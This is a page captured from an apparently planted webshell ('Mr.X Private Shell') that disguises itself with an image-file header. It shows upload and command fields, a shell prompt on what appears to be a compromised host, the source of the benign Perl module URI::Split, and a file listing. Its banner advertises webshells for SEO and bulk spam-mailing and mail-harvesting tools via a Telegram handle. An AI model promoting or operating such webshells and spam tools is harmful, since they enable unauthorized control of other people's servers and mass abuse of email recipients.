����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
package URI::Split;

use strict;
use warnings;

our $VERSION = '5.34';

use Exporter 5.57 'import';
our @EXPORT_OK = qw(uri_split uri_join);

use URI::Escape ();

sub uri_split {
     return $_[0] =~ m,(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?,;
}

sub uri_join {
    my($scheme, $auth, $path, $query, $frag) = @_;
    my $uri = defined($scheme) ? "$scheme:" : "";
    $path = "" unless defined $path;
    if (defined $auth) {
	$auth =~ s,([/?\#]), URI::Escape::escape_char($1),eg;
	$uri .= "//$auth";
	$path = "/$path" if length($path) && $path !~ m,^/,;
    }
    elsif ($path =~ m,^//,) {
	$uri .= "//";  # XXX force empty auth
    }
    unless (length $uri) {
	$path =~ s,(:), URI::Escape::escape_char($1),e while $path =~ m,^[^:/?\#]+:,;
    }
    $path =~ s,([?\#]), URI::Escape::escape_char($1),eg;
    $uri .= $path;
    if (defined $query) {
	$query =~ s,(\#), URI::Escape::escape_char($1),eg;
	$uri .= "?$query";
    }
    $uri .= "#$frag" if defined $frag;
    $uri;
}

1;

__END__

=head1 NAME

URI::Split - Parse and compose URI strings

=head1 SYNOPSIS

 use URI::Split qw(uri_split uri_join);
 ($scheme, $auth, $path, $query, $frag) = uri_split($uri);
 $uri = uri_join($scheme, $auth, $path, $query, $frag);

=head1 DESCRIPTION

Provides functions to parse and compose URI
strings.  The following functions are provided:

=over

=item ($scheme, $auth, $path, $query, $frag) = uri_split($uri)

Breaks up a URI string into its component
parts.  An C<undef> value is returned for those parts that are not
present.  The $path part is always present (but can be the empty
string) and is thus never returned as C<undef>.

No sensible value is returned if this function is called in a scalar
context.

=item $uri = uri_join($scheme, $auth, $path, $query, $frag)

Puts together a URI string from its parts.
Missing parts are signaled by passing C<undef> for the corresponding
argument.

Minimal escaping is applied to parts that contain reserved chars
that would confuse a parser.  For instance, any occurrence of '?' or '#'
in $path is always escaped, as it would otherwise be parsed back
as a query or fragment.

=back

=head1 SEE ALSO

L<URI>, L<URI::Escape>

=head1 COPYRIGHT

Copyright 2003, Gisle Aas

This library is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.

=cut

Filemanager

Name Type Size Permission Actions
file Folder 0755
urn Folder 0755
Escape.pm File 7.73 KB 0444
Heuristic.pm File 6.47 KB 0444
IRI.pm File 794 B 0444
QueryParam.pm File 655 B 0444
Split.pm File 2.3 KB 0444
URL.pm File 5.36 KB 0444
WithBase.pm File 3.77 KB 0444
_emailauth.pm File 1.23 KB 0444
_foreign.pm File 107 B 0444
_generic.pm File 6.66 KB 0444
_idna.pm File 2.03 KB 0444
_ldap.pm File 3.17 KB 0444
_login.pm File 231 B 0444
_punycode.pm File 5.5 KB 0444
_query.pm File 4.74 KB 0444
_segment.pm File 416 B 0444
_server.pm File 3.79 KB 0444
_userpass.pm File 1.01 KB 0444
data.pm File 3.31 KB 0444
file.pm File 9.46 KB 0444
ftp.pm File 1.06 KB 0444
ftpes.pm File 150 B 0444
ftps.pm File 175 B 0444
geo.pm File 10.5 KB 0444
gopher.pm File 2.37 KB 0444
http.pm File 425 B 0444
https.pm File 144 B 0444
icap.pm File 1.46 KB 0444
icaps.pm File 1.41 KB 0444
irc.pm File 3.64 KB 0444
ircs.pm File 142 B 0444
ldap.pm File 2.86 KB 0444
ldapi.pm File 440 B 0444
ldaps.pm File 144 B 0444
mailto.pm File 1.62 KB 0444
mms.pm File 125 B 0444
news.pm File 1.42 KB 0444
nntp.pm File 127 B 0444
nntps.pm File 144 B 0444
otpauth.pm File 8.35 KB 0444
pop.pm File 219 B 0444
rlogin.pm File 129 B 0444
rsync.pm File 207 B 0444
rtsp.pm File 125 B 0444
rtspu.pm File 126 B 0444
scp.pm File 97 B 0444
sftp.pm File 98 B 0444
sip.pm File 1.63 KB 0444
sips.pm File 143 B 0444
smb.pm File 2.02 KB 0444
smtp.pm File 237 B 0444
snews.pm File 172 B 0444
ssh.pm File 175 B 0444
telnet.pm File 128 B 0444
tn3270.pm File 128 B 0444
urn.pm File 2.03 KB 0444
ws.pm File 1.14 KB 0444
wss.pm File 1.18 KB 0444